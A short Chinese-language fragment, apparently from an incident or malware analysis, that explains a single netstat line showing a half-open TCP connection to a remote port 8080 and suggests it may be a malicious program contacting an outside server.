#### 外部连接分析:

## • 外部连接:

复制代码				
tcp	0	1 61.139.2.100:34640	202.115.89.103:8080	SYN_SENT

这表示系统正在尝试通过 61.139.2.100 端口 34640 与 202.115.89.103 的端口 8080 建立连接,但还未成功完成连接(状态为 SYN\_SENT)。8080 端口通常是 HTTP 服务的常用端口,可能是恶意程序尝试与外部服务器建立通信。

## **z**5

```
